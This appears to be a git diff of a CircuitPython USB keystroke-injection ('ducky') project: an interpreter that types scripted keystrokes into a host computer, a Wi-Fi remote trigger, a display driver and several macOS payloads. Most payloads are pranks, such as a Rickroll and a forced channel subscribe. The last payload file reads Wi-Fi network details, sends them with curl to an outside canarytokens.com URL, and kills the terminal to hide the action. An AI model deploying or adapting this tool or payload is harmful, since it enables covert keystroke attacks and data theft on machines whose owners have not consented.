tmp_pin.pull = Pull.UP # turn on internal pull-up resistor
|
||||
buttons.append( Debouncer(tmp_pin) )
|
||||
|
||||
# uncomment these lines for non_US keyboards
|
||||
# replace LANG with appropriate language
|
||||
#from keyboard_layout_win_LANG import KeyboardLayout
|
||||
#from keycode_win_LANG import Keycode
|
||||
|
||||
duckyCommands = {
|
||||
'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI,
|
||||
'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT,
|
||||
'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
|
||||
'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW,
|
||||
'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
|
||||
'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE,
|
||||
'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
|
||||
'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME,
|
||||
'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP,
|
||||
'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
|
||||
'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB,
|
||||
'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E,
|
||||
'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J,
|
||||
'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O,
|
||||
'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
|
||||
'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y,
|
||||
'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3,
|
||||
'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7,
|
||||
'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11,
|
||||
'F12': Keycode.F12,
|
||||
}
|
||||
|
||||
def convertLine(line):
|
||||
newline = []
|
||||
print(line)
|
||||
# loop on each key - the filter removes empty values
|
||||
for key in filter(None, line.split(" ")):
|
||||
key = key.upper()
|
||||
# find the keycode for the command in the list
|
||||
command_keycode = duckyCommands.get(key, None)
|
||||
if command_keycode is not None:
|
||||
# if it exists in the list, use it
|
||||
newline.append(command_keycode)
|
||||
elif hasattr(Keycode, key):
|
||||
# if it's in the Keycode module, use it (allows any valid keycode)
|
||||
newline.append(getattr(Keycode, key))
|
||||
else:
|
||||
# if it's not a known key name, show the error for diagnosis
|
||||
print(f"Unknown key: <{key}>")
|
||||
print(newline)
|
||||
return newline
|
||||
|
||||
def runScriptLine(line):
|
||||
for k in line:
|
||||
kbd.press(k)
|
||||
kbd.release_all()
|
||||
|
||||
def sendString(line):
|
||||
layout.write(line)
|
||||
|
||||
def parseLine(line):
|
||||
global defaultDelay
|
||||
if(line[0:3] == "REM"):
|
||||
# ignore ducky script comments
|
||||
pass
|
||||
elif(line[0:5] == "DELAY"):
|
||||
time.sleep(float(line[6:])/1000)
|
||||
elif(line[0:6] == "STRING"):
|
||||
sendString(line[7:])
|
||||
elif(line[0:13] == "DEFAULT_DELAY"):
|
||||
defaultDelay = int(line[14:]) * 10
|
||||
elif(line[0:12] == "DEFAULTDELAY"):
|
||||
defaultDelay = int(line[13:]) * 10
|
||||
else:
|
||||
newScriptLine = convertLine(line)
|
||||
runScriptLine(newScriptLine)
|
||||
|
||||
def injectPayload(payloadNumber):
|
||||
f = open(duckyScriptPath[payloadNumber],"r",encoding='utf-8')
|
||||
print("Running payload.txt")
|
||||
previousLine = ""
|
||||
duckyScript = f.readlines()
|
||||
for line in duckyScript:
|
||||
line = line.rstrip()
|
||||
if(line[0:6] == "REPEAT"):
|
||||
for i in range(int(line[7:])):
|
||||
#repeat the last command
|
||||
parseLine(previousLine)
|
||||
time.sleep(float(defaultDelay)/1000)
|
||||
else:
|
||||
parseLine(line)
|
||||
previousLine = line
|
||||
time.sleep(float(defaultDelay)/1000)
|
||||
print("Done")
|
||||
NugEyes("/faces/menu.bmp")
|
||||
|
||||
def startWiFi():
|
||||
# Get wifi details and more from a secrets.py file
|
||||
try:
|
||||
from secrets import secrets
|
||||
except ImportError:
|
||||
print("WiFi secrets are kept in secrets.py, please add them there!")
|
||||
raise
|
||||
|
||||
notConnected = True
|
||||
while(notConnected == True):
|
||||
try:
|
||||
print("Connect wifi")
|
||||
wifi.radio.connect(secrets['ssid'],secrets['password'], timeout=30)
|
||||
notConnected = False
|
||||
#wifi.radio.start_ap(secrets['ssid'],secrets['password'])
|
||||
HOST = repr(wifi.radio.ipv4_address)
|
||||
PORT = 80
|
||||
print(HOST,PORT)
|
||||
except ConnectionError:
|
||||
print("No Wifi Network found, retrying in 5 sec")
|
||||
time.sleep(5)
|
||||
|
||||
def connectRemote():
|
||||
startWiFi()
|
||||
host = repr(wifi.radio.ipv4_gateway)
|
||||
|
||||
global requests
|
||||
pool = socketpool.SocketPool(wifi.radio)
|
||||
requests = adafruit_requests.Session(pool, ssl.create_default_context())
|
||||
|
||||
readButtons()
|
||||
|
||||
while True:
|
||||
remoteLoop(host)
|
||||
|
||||
def sendRunPayload(host, buttonNum):
|
||||
global requests
|
||||
run_api_url = "http://"+host+"/api/run/"+str(buttonNum)
|
||||
print("Sending ", run_api_url)
|
||||
NugEyes("/faces/boingo.bmp")
|
||||
data = b' '
|
||||
r = requests.get(run_api_url,data=data)
|
||||
|
||||
def readButtons():
|
||||
buttonNum = -1
|
||||
for i in range(len(buttons)):
|
||||
buttons[i].update()
|
||||
if buttons[i].fell:
|
||||
print("button",i,"pressed!")
|
||||
if buttons[i].rose:
|
||||
print("button",i,"released!")
|
||||
buttonNum = i + 1
|
||||
return(buttonNum)
|
||||
|
||||
def remoteLoop(host):
|
||||
buttonNum = readButtons()
|
||||
#print(buttonNum)
|
||||
if(buttonNum > 0):
|
||||
sendRunPayload(host, buttonNum)
|
||||
|
||||
NugEyes("/faces/remote-menu.bmp")
|
||||
|
||||
|
||||
kbd = Keyboard(usb_hid.devices)
|
||||
layout = KeyboardLayout(kbd)
|
||||
duckyScriptPath = ["payload1.txt", "payload2.txt", "payload3.txt", "payload4.txt", "payload.txt"]
|
||||
|
||||
# sleep at the start to allow the device to be recognized by the host computer
|
||||
time.sleep(.5)
|
||||
defaultDelay = 0
|
||||
|
||||
remoteStatus = False
|
||||
remoteEnablePin = buttons[3] # Right
|
||||
remoteStatus = not remoteEnablePin.value
|
||||
defaultDelay = 0
|
||||
|
||||
print(remoteStatus)
|
||||
|
||||
readButtons()
|
||||
|
||||
if(remoteStatus == True):
|
||||
# not in setup mode, inject the payload
|
||||
print("Connecting to remote ducky")
|
||||
connectRemote()
|
||||
print("Done")
|
||||
else:
|
||||
print("Entering menu")
|
||||
|
||||
while True:
|
||||
for i in range(len(buttons)):
|
||||
buttons[i].update()
|
||||
if buttons[i].fell:
|
||||
print("button",i,"pressed!")
|
||||
NugEyes("/faces/boingo.bmp")
|
||||
injectPayload(i)
|
||||
if buttons[i].rose:
|
||||
print("button",i,"released!")
|
||||
225
duckyinpython.py
@@ -1,225 +0,0 @@
|
||||
# License : GPLv2.0
|
||||
# copyright (c) 2021 Dave Bailey
|
||||
# Author: Dave Bailey (dbisu, @daveisu)
|
||||
|
||||
import usb_hid
|
||||
from adafruit_hid.keyboard import Keyboard
|
||||
|
||||
# comment out these lines for non_US keyboards
|
||||
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
|
||||
from adafruit_hid.keycode import Keycode
|
||||
|
||||
# uncomment these lines for non_US keyboards
|
||||
# replace LANG with appropriate language
|
||||
#from keyboard_layout_win_LANG import KeyboardLayout
|
||||
#from keycode_win_LANG import Keycode
|
||||
|
||||
import supervisor
|
||||
|
||||
import time
|
||||
import digitalio
|
||||
from board import *
|
||||
import pwmio
|
||||
|
||||
led = pwmio.PWMOut(LED, frequency=5000, duty_cycle=0)
|
||||
|
||||
def led_pwm_up(led):
|
||||
for i in range(100):
|
||||
# PWM LED up and down
|
||||
if i < 50:
|
||||
led.duty_cycle = int(i * 2 * 65535 / 100) # Up
|
||||
time.sleep(0.01)
|
||||
def led_pwm_down(led):
|
||||
for i in range(100):
|
||||
# PWM LED up and down
|
||||
if i >= 50:
|
||||
led.duty_cycle = 65535 - int((i - 50) * 2 * 65535 / 100) # Down
|
||||
time.sleep(0.01)
|
||||
|
||||
# led = digitalio.DigitalInOut(LED)
|
||||
# led.direction = digitalio.Direction.OUTPUT
|
||||
|
||||
duckyCommands = {
|
||||
'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI,
|
||||
'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT,
|
||||
'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
|
||||
'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW,
|
||||
'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
|
||||
'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE,
|
||||
'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
|
||||
'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME,
|
||||
'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP,
|
||||
'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
|
||||
'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB,
|
||||
'BACKSPACE': Keycode.BACKSPACE,
|
||||
'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E,
|
||||
'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J,
|
||||
'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O,
|
||||
'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
|
||||
'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y,
|
||||
'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3,
|
||||
'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7,
|
||||
'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11,
|
||||
'F12': Keycode.F12,
|
||||
|
||||
}
|
||||
def convertLine(line):
|
||||
newline = []
|
||||
# print(line)
|
||||
# loop on each key - the filter removes empty values
|
||||
for key in filter(None, line.split(" ")):
|
||||
key = key.upper()
|
||||
# find the keycode for the command in the list
|
||||
command_keycode = duckyCommands.get(key, None)
|
||||
if command_keycode is not None:
|
||||
# if it exists in the list, use it
|
||||
newline.append(command_keycode)
|
||||
elif hasattr(Keycode, key):
|
||||
# if it's in the Keycode module, use it (allows any valid keycode)
|
||||
newline.append(getattr(Keycode, key))
|
||||
else:
|
||||
# if it's not a known key name, show the error for diagnosis
|
||||
print(f"Unknown key: <{key}>")
|
||||
# print(newline)
|
||||
return newline
|
||||
|
||||
def runScriptLine(line):
|
||||
for k in line:
|
||||
kbd.press(k)
|
||||
kbd.release_all()
|
||||
|
||||
def sendString(line):
|
||||
layout.write(line)
|
||||
|
||||
def parseLine(line):
|
||||
global defaultDelay
|
||||
if(line[0:3] == "REM"):
|
||||
# ignore ducky script comments
|
||||
pass
|
||||
elif(line[0:5] == "DELAY"):
|
||||
time.sleep(float(line[6:])/1000)
|
||||
elif(line[0:6] == "STRING"):
|
||||
sendString(line[7:])
|
||||
elif(line[0:5] == "PRINT"):
|
||||
print("[SCRIPT]: " + line[6:])
|
||||
elif(line[0:6] == "IMPORT"):
|
||||
runScript(line[7:])
|
||||
elif(line[0:13] == "DEFAULT_DELAY"):
|
||||
defaultDelay = int(line[14:]) * 10
|
||||
elif(line[0:12] == "DEFAULTDELAY"):
|
||||
defaultDelay = int(line[13:]) * 10
|
||||
elif(line[0:3] == "LED"):
|
||||
if(led.value == True):
|
||||
led.value = False
|
||||
else:
|
||||
led.value = True
|
||||
else:
|
||||
newScriptLine = convertLine(line)
|
||||
runScriptLine(newScriptLine)
|
||||
|
||||
kbd = Keyboard(usb_hid.devices)
|
||||
layout = KeyboardLayout(kbd)
|
||||
|
||||
# turn off automatically reloading when files are written to the pico
|
||||
supervisor.disable_autoreload()
|
||||
|
||||
# sleep at the start to allow the device to be recognized by the host computer
|
||||
time.sleep(.5)
|
||||
|
||||
led_pwm_up(led)
|
||||
|
||||
def getProgrammingStatus():
|
||||
# check GP0 for setup mode
|
||||
# see setup mode for instructions
|
||||
progStatusPin = digitalio.DigitalInOut(GP0)
|
||||
progStatusPin.switch_to_input(pull=digitalio.Pull.UP)
|
||||
progStatus = not progStatusPin.value
|
||||
return(progStatus)
|
||||
|
||||
|
||||
defaultDelay = 0
|
||||
|
||||
def runScript(file):
|
||||
global defaultDelay
|
||||
|
||||
duckyScriptPath = file
|
||||
try:
|
||||
f = open(duckyScriptPath,"r",encoding='utf-8')
|
||||
previousLine = ""
|
||||
for line in f:
|
||||
line = line.rstrip()
|
||||
if(line[0:6] == "REPEAT"):
|
||||
for i in range(int(line[7:])):
|
||||
#repeat the last command
|
||||
parseLine(previousLine)
|
||||
time.sleep(float(defaultDelay)/1000)
|
||||
else:
|
||||
parseLine(line)
|
||||
previousLine = line
|
||||
time.sleep(float(defaultDelay)/1000)
|
||||
except OSError as e:
|
||||
print("Unable to open file ", file)
|
||||
|
||||
def selectPayload():
|
||||
payload = "payload.dd"
|
||||
# check switch status
|
||||
# payload1 = GPIO4 to GND
|
||||
# payload2 = GPIO5 to GND
|
||||
# payload3 = GPIO10 to GND
|
||||
# payload4 = GPIO11 to GND
|
||||
payload1Pin = digitalio.DigitalInOut(GP4)
|
||||
payload1Pin.switch_to_input(pull=digitalio.Pull.UP)
|
||||
payload1State = not payload1Pin.value
|
||||
payload2Pin = digitalio.DigitalInOut(GP5)
|
||||
payload2Pin.switch_to_input(pull=digitalio.Pull.UP)
|
||||
payload2State = not payload2Pin.value
|
||||
payload3Pin = digitalio.DigitalInOut(GP10)
|
||||
payload3Pin.switch_to_input(pull=digitalio.Pull.UP)
|
||||
payload3State = not payload3Pin.value
|
||||
payload4Pin = digitalio.DigitalInOut(GP11)
|
||||
payload4Pin.switch_to_input(pull=digitalio.Pull.UP)
|
||||
payload4State = not payload4Pin.value
|
||||
|
||||
|
||||
if(payload1State == True):
|
||||
payload = "payload.dd"
|
||||
|
||||
elif(payload2State == True):
|
||||
payload = "payload2.dd"
|
||||
|
||||
elif(payload3State == True):
|
||||
payload = "payload3.dd"
|
||||
|
||||
elif(payload4State == True):
|
||||
payload = "payload4.dd"
|
||||
|
||||
else:
|
||||
# if all pins are high, then no switch is present
|
||||
# default to payload1
|
||||
payload = "payload.dd"
|
||||
|
||||
|
||||
return payload
|
||||
|
||||
progStatus = False
|
||||
progStatus = getProgrammingStatus()
|
||||
|
||||
if(progStatus == False):
|
||||
# not in setup mode, inject the payload
|
||||
payload = selectPayload()
|
||||
print("Running ", payload)
|
||||
runScript(payload)
|
||||
|
||||
print("Done")
|
||||
else:
|
||||
print("Update your payload")
|
||||
|
||||
led_state = False
|
||||
while True:
|
||||
if led_state:
|
||||
led_pwm_up(led)
|
||||
led_state = False
|
||||
else:
|
||||
led_pwm_down(led)
|
||||
led_state = True
|
||||
|
||||
BIN
faces/boingo.bmp
Executable file
|
After Width: | Height: | Size: 16 KiB |
BIN
faces/menu.bmp
Executable file
|
After Width: | Height: | Size: 32 KiB |
BIN
faces/remote-menu.bmp
Normal file
|
After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 196 KiB |
|
Before Width: | Height: | Size: 2.1 MiB |
BIN
lib/adafruit_debouncer.mpy
Executable file
BIN
lib/adafruit_display_text/__init__.mpy
Executable file
BIN
lib/adafruit_display_text/bitmap_label.mpy
Executable file
BIN
lib/adafruit_display_text/label.mpy
Executable file
115
lib/adafruit_displayio_sh1106.py
Executable file
@@ -0,0 +1,115 @@
|
||||
# SPDX-FileCopyrightText: 2017 Scott Shawcroft, written for Adafruit Industries
|
||||
# SPDX-FileCopyrightText: Copyright (c) 2021 ladyada for Adafruit Industries
|
||||
#
|
||||
# SPDX-License-Identifier: MIT
|
||||
"""
|
||||
`adafruit_displayio_sh1106`
|
||||
================================================================================
|
||||
|
||||
DisplayIO compatible library for SH1106 OLED displays
|
||||
|
||||
|
||||
* Author(s): ladyada
|
||||
|
||||
Implementation Notes
|
||||
--------------------
|
||||
|
||||
**Hardware:**
|
||||
|
||||
**Software and Dependencies:**
|
||||
|
||||
* Adafruit CircuitPython firmware for the supported boards:
|
||||
https://github.com/adafruit/circuitpython/releases
|
||||
|
||||
"""
|
||||
|
||||
# imports
|
||||
import displayio
|
||||
|
||||
__version__ = "0.0.0-auto.0"
|
||||
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_DisplayIO_SH1106.git"
|
||||
|
||||
|
||||
# Sequence from sh1106 framebuf driver formatted for displayio init
|
||||
_INIT_SEQUENCE = (
|
||||
b"\xae\x00" # display off, sleep mode
|
||||
b"\xd5\x01\x80" # divide ratio/oscillator: divide by 2, fOsc (POR)
|
||||
b"\xa8\x01\x3f" # multiplex ratio = 64 (POR)
|
||||
b"\xd3\x01\x00" # set display offset mode = 0x0
|
||||
b"\x40\x00" # set start line
|
||||
b"\xad\x01\x8b" # turn on DC/DC
|
||||
b"\xa1\x00" # segment remap = 1 (POR=0, down rotation)
|
||||
b"\xc8\x00" # scan decrement
|
||||
b"\xda\x01\x12" # set com pins
|
||||
b"\x81\x01\xff" # contrast setting = 0xff
|
||||
b"\xd9\x01\x1f" # pre-charge/dis-charge period mode: 2 DCLKs/2 DCLKs (POR)
|
||||
b"\xdb\x01\x40" # VCOM deselect level = 0.770 (POR)
|
||||
b"\x20\x01\x20" #
|
||||
b"\x33\x00" # turn on VPP to 9V
|
||||
b"\xa6\x00" # normal (not reversed) display
|
||||
b"\xa4\x00" # entire display off, retain RAM, normal status (POR)
|
||||
b"\xaf\x00" # DISPLAY_ON
|
||||
)
|
||||
|
||||
|
||||
class SH1106(displayio.Display):
|
||||
"""
|
||||
SH1106 driver for use with DisplayIO
|
||||
|
||||
:param bus: The bus that the display is connected to.
|
||||
:param int width: The width of the display. Maximum of 132
|
||||
:param int height: The height of the display. Maximum of 64
|
||||
:param int rotation: The rotation of the display. 0, 90, 180 or 270.
|
||||
"""
|
||||
|
||||
def __init__(self, bus, **kwargs):
|
||||
init_sequence = bytearray(_INIT_SEQUENCE)
|
||||
super().__init__(
|
||||
bus,
|
||||
init_sequence,
|
||||
**kwargs,
|
||||
color_depth=1,
|
||||
grayscale=True,
|
||||
pixels_in_byte_share_row=False, # in vertical (column) mode
|
||||
data_as_commands=True, # every byte will have a command byte preceeding
|
||||
brightness_command=0x81,
|
||||
single_byte_bounds=True,
|
||||
# for sh1107 use column and page addressing.
|
||||
# lower column command = 0x00 - 0x0F
|
||||
# upper column command = 0x10 - 0x17
|
||||
# set page address = 0xB0 - 0xBF (16 pages)
|
||||
SH1107_addressing=True,
|
||||
)
|
||||
self._is_awake = True # Display starts in active state (_INIT_SEQUENCE)
|
||||
|
||||
@property
|
||||
def is_awake(self):
|
||||
"""
|
||||
The power state of the display. (read-only)
|
||||
|
||||
`True` if the display is active, `False` if in sleep mode.
|
||||
"""
|
||||
return self._is_awake
|
||||
|
||||
def sleep(self):
|
||||
"""
|
||||
Put display into sleep mode. The display uses < 5uA in sleep mode.
|
||||
|
||||
Sleep mode does the following:
|
||||
|
||||
1) Stops the oscillator and DC-DC circuits
|
||||
2) Stops the OLED drive
|
||||
3) Remembers display data and operation mode active prior to sleeping
|
||||
4) The MP can access (update) the built-in display RAM
|
||||
"""
|
||||
if self._is_awake:
|
||||
self.bus.send(int(0xAE), "") # 0xAE = display off, sleep mode
|
||||
self._is_awake = False
|
||||
|
||||
def wake(self):
|
||||
"""
|
||||
Wake display from sleep mode
|
||||
"""
|
||||
if not self._is_awake:
|
||||
self.bus.send(int(0xAF), "") # 0xAF = display on
|
||||
self._is_awake = True
|
||||
BIN
lib/adafruit_framebuf.mpy
Executable file
BIN
lib/adafruit_hid/__init__.mpy
Executable file
BIN
lib/adafruit_hid/consumer_control.mpy
Executable file
BIN
lib/adafruit_hid/consumer_control_code.mpy
Executable file
BIN
lib/adafruit_hid/keyboard.mpy
Executable file
BIN
lib/adafruit_hid/keyboard_layout_base.mpy
Executable file
BIN
lib/adafruit_hid/keyboard_layout_us.mpy
Executable file
BIN
lib/adafruit_hid/keycode.mpy
Executable file
BIN
lib/adafruit_hid/mouse.mpy
Executable file
8
payload.txt
Normal file
@@ -0,0 +1,8 @@
|
||||
REM This is the "Rush" Payload, it asks if you want to extend your car's warranty on MacOS (taken from voicemail transcript) by @skicka
|
||||
GUI SPACE
|
||||
DELAY 500
|
||||
STRING terminal.app
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING say "Hi, this is Melanie and I'm giving you a call from the dealer service center. We recently noticed your car's extended warranty would expire and wanted to provide you with one final courtesy call before your warranty expires, June 10th, your warranty coverage becomes voided. This would make you financially responsible for all Service Repairs. If you wish to extend or reinstate your car's warranty, press for now, or press 9 to be continued coverage and discontinue receiving these reminders." && kill -9 $(ps -p $PPID -o ppid=)
|
||||
ENTER
|
||||
10
payload1.txt
Normal file
@@ -0,0 +1,10 @@
|
||||
REM Extended Warranty Reminder, opens TextEdit on MacOS and types contents of spam voicemail, by @Skickar 2022
|
||||
DELAY 100
|
||||
GUI SPACE
|
||||
DELAY 1000
|
||||
STRING textedit
|
||||
ENTER
|
||||
DELAY 1000
|
||||
GUI N
|
||||
DELAY 100
|
||||
STRING Hi, this is Melanie and I'm giving you a call from the dealer service center. We recently noticed your car's extended warranty would expire and wanted to provide you with one final courtesy call before your warranty expires, June 10th, your warranty coverage becomes voided. This would make you financially responsible for all Service Repairs. If you wish to extend or reinstate your car's warranty, press for now, or press 9 to be continued coverage and discontinue receiving these reminders.
|
||||
9
payload2.txt
Normal file
@@ -0,0 +1,9 @@
|
||||
REM Quick Rickroller, opens Rickroll video on MacOS via Terminal and plays by @Skickar 2022
|
||||
GUI SPACE
|
||||
STRING terminal.app
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING open "https://youtu.be/dQw4w9WgXcQ"
|
||||
ENTER
|
||||
DELAY 2000
|
||||
SPACE
|
||||
13
payload3.txt
Normal file
@@ -0,0 +1,13 @@
|
||||
REM Quick Hak5 Channel Subscriber, opens hak5 subscribe link via terminal, tabs twice, and hits enter to subscribe on MacOS by @Skickar 2022
|
||||
GUI SPACE
|
||||
STRING terminal.app
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING open "https://www.youtube.com/c/hak5?sub_confirmation=1"
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 4000
|
||||
TAB
|
||||
TAB
|
||||
ENTER
|
||||
ENTER
|
||||
8
payload4.txt
Normal file
@@ -0,0 +1,8 @@
|
||||
REM Wi-Fi Network setting exfil, takes current network information & sends it as user agent to a canary token, by @Skickar 2022
|
||||
GUI SPACE
|
||||
STRING terminal.app
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING curl --silent --output /dev/null --user-agent $(airport --getinfo | sed 1d | xargs | tr -d ' ' | tr -d '-') http://canarytokens.com/terms/tags/9sh0p7if7ei3j6z9mfwvrt9d9/post.js && wait && kill -9 $(ps -p $PPID -o ppid=)
|
||||
DELAY 500
|
||||
ENTER
|
||||